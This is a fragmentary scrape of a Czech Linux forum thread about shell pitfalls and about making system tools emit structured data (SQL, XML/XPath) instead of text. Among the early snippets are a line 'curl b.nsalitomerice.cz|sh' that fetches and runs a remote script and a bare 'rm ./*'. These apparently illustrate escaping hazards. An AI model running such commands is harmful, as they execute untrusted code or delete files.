Portál AbcLinuxu, 13. května 2025 00:19
MEOW=$(printf 'meow \n'; printf 'x') MEOW="${MEOW%x}"
$ echo -e '\x2dn' -n $ echo -e '\x2de' -e
echo -e \ -e
$ busybox echo --help BusyBox v1.20.2 (Debian 1:1.20.0-7) multi-call binary. Usage: echo [-neE] [ARG]... Print the specified ARGs to stdout -n Suppress trailing newline -e Interpret backslash escapes (i.e., \t=tab) -E Don't interpret backslash escapes (default) $ busybox echo -e '\x2de' -e
rm ./*
Toto sa mi už raz stalo.
%22
.
esc:!curl b.nsalitomerice.cz|sh
, tak jsme přesně tam, kde jsme byli.
au BufRead /tmp/bash-fc-* | silent execute '!test "$DISPLAY" && xsel | tr -dc "\040-\176" | xsel' | redraw!
Ale myslim, ze to co by bylo potreba spis udelat je promyslet standardni GNU/Linux utility, aby vracely objekty (nebo alespon strukturovana data) a ne textJa mam radu utilit namapovanych jako funkce ve Schemu. Co radek textu, to jedna polozka seznamu, ta struktura uz z toho obvykle vyplyne. Neni to uplne nejrychlejsi, ale da se s tim pracovat vyraznej pohodlneji nez v bashi.
Nechces o tom napsat nejaky blogpost?Já o tom vůbec nic nevím. Říkej to panu Zeleninovi
To je slozitejsi zalezitost nez jen shell.Jo jo… ten ekosystém okolo…
grep
u a cut
u a nemusel bys neustále parsovat a serializovat textová data -- byly by jasně dané hranice mezi sloupci, mezi řádky. Kromě tabulek by tam byly i SQL funkce/procedury pro zjišťování různých informací, výpočty, nebo i provádění aktivních operací (např. vytvoření souboru, uživatele, ping).
Trochu už jsem to promýšlel, ale k implementaci jsem se zatím nedostal...
/sys
a /proc
je sice fajn, ale stále pěkně debilní právě z důvodů které jsi popsal + taky k tomu, že tam silně chybí sémantika a builtin help, který je s trochou štěstí někde vedle v manu.
Osobně jsem často přemýšlel nad systémem, kde je všechno objekt a všechny informace jsou strukturované, s dokumentací a jasně danými parametry. Pak mi došlo, že to už existuje a tak jsem se nedávno začal učit smalltalk/pharo.
grep
a cut
.
To co jsi popsal je taky programování, jen silně omezený subset.Je to hlavně deklarativní, což je pro výběr dat IMHO ideální -- schválně si porovnej nějaký SQL dotaz s ekvivalentním dotazem nad NoSQL databází (napsaný třeba v procedurálním/funkcionálním JavaScriptu).
Další věc je, že SQL je na tohle zbytečně složité, neboť nepotřebuješ dělat velmi komplikované dotazyU takového nástroje bych nečekal plnou podporu nejnovějšího SQL standardu. Stačila by omezená podmnožina tohoto jazyka.
navíc je celé tak nějak tabulkově orientované. Což by teda tyhle data byly taky...Právě že tabulkově orientovaných je většina dat -- velice často se používají různé textové výpisy, co řádek, to záznam a uvnitř řádků je nějaká další struktura -- oddělená mezerami, tabulátory, |, čárkami atd. a dneska se to musí parsovat na úrovni textu. Totéž platí pro logy -- ty textové jsou často implementované blbě, takže se dají použít leda jako protokol pro zpětné dohledávání věcí a čtení člověkem, ale ne pro strojové zpracování, protože hodnoty mohou přetékat, jak buňky, tak řádky -- buď se to rozbije neúmyslně nebo dokonce někdo může injektovat hodnoty do logu tak, aby to vypadalo, že se stalo něco jiného, než co se ve skutečnosti stalo.
...jen bys měl ve většině tabulek jeden řádekZáleží, co je to za data, s tím by si šlo vyhrát, šlo by sloučit víc věcí do jedné tabulky a filtrovat podle klíče. Některé věci taky vůbec jako tabulka být nemusí -- může to být funkce, kterou si zavoláš pro řádky jiné tabulky nebo samostatně.
Imho by se pro tyhle data podstatně víc hodilo asociativní pole, nebo jeden objekt, kde je všechno možné systémové info.Obecně to jeden objekt být nemusí, ale občas bude problém s tím, že data budou spíš stromová než tabulková (soubory, procesy), resp. hůř se s tím pracuje jako s tabulkou, protože klasické SQL na to moc vhodné není -- chce to SQL funkce pro práci se stromy (CTE) a ani tak to není úplně dokonalý nástroj. Ale je otázka, co převažuje, IMHO spíš ty tabulky než stromy, takže by se SQL vyplatilo. U hodně stromů taky zjistíš, že to nejsou obecné stromy s nekonečnou rekurzí a amorfní strukturou, ale že je to prostě několik relací s dobře definovanou strukturou a propojených přes cizí klíče -- např. síťová rozhraní a IP adresy a jejich atributy. Pro stromová data by šlo dobře použít XML a pak nad tím volat XPath dotazy (dotazování jako SQL) nebo pouštět XQuery (to už je víc programování). Zrovna teď si píšu takový nástroj na načítání různých dat jako XML -- v podstatě to jsou SAX parsery pro různé formáty a jeden z nich bude souborový systém (místo jednoho souboru to čte adresář a jeho obsah), takže na výstupu dostaneš XML (resp. proud SAX událostí, ani to není potřeba serializovat na text s nějakými ostrými závorkami, dá se to zpracovat ještě jako objekty resp. volání metod/události) obsahující informace o souborech včetně rozšířených atributů případně i s obsahem těch souborů a budeš to moci filtrovat pomocí XPath dotazů nebo transformovat v XSLT, případně i validovat v XSD/RelaxNG/... (to by občas taky dávalo smysl -- zvalidovat si adresář, jestli obsahuje přesně to, co má) a další věci. Tohle by se v SQL dělalo dost těžko.
Tiskni
Sdílej:
ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.